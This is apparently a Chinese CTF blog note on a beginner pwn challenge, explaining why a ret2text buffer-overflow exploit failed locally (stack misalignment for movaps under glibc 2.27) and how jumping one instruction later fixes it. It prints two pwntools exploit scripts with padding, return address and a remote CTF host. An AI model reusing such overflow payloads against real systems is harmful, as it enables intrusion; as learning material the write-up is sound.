今天给学弟演示最简单的pwn题的时候居然翻车了,没想到还是这个xmm寄存器的问题,我tcl,记录一下。
原来的exp是这样。
就是很简单的调用这个callsystem
结果本地打不通。试了下远程,发现能打通,太奇怪了。
from pwn import*
r=gdb.debug("./pwn_02","b* 0x00400597")
#r=remote("52.82.121.166", 28068)
#r=process("./pwn_02")
pad=b'a'*0x88
add=p64(0x400596)
payload=pad+add
print(r.recv())
r.send(payload)
r.interactive()
通过gdb调试发现,跳到这里就断了。
我本地调试系统是ubuntu 18,在bin群里问了问,组长肥猫嘤嘤告诉我是xmm寄存器的问题,当glibc版本大于2.27的时候,系统调用system("/bin/sh")之前有个xmm寄存器使用。要确保rsp是与16对齐的,也就是末尾必须是0.
由于xmm寄存器是128bit又用了movaps指令,故必须让rsp的地址能够整除16,解决方法就是少push一个寄存器。
让指令跳转到400597,本地exp如下:
from pwn import*
r=gdb.debug("./pwn_02","b* 0x00400597")
#r=remote("52.82.121.166", 28068)
#r=process("./pwn_02")
pad=b'a'*0x88
add=p64(0x400597)
payload=pad+add
print(r.recv())
r.send(payload)
r.interactive()
使用cat /proc/version
发现我的本地调试环境是ubuntu 18而jarvis oj本地的环境也是ubuntu18 那么为什么会不同呢,就是glibc版本的问题,使用
ldd --version
查看发现我的glibc版本是
ldd (Ubuntu GLIBC 2.27-3ubuntu1.2) 2.27
jarvisOJ的版本是:
ldd (Ubuntu EGLIBC 2.19-0ubuntu6.15) 2.19
看来就是libc的问题,与系统版本无关。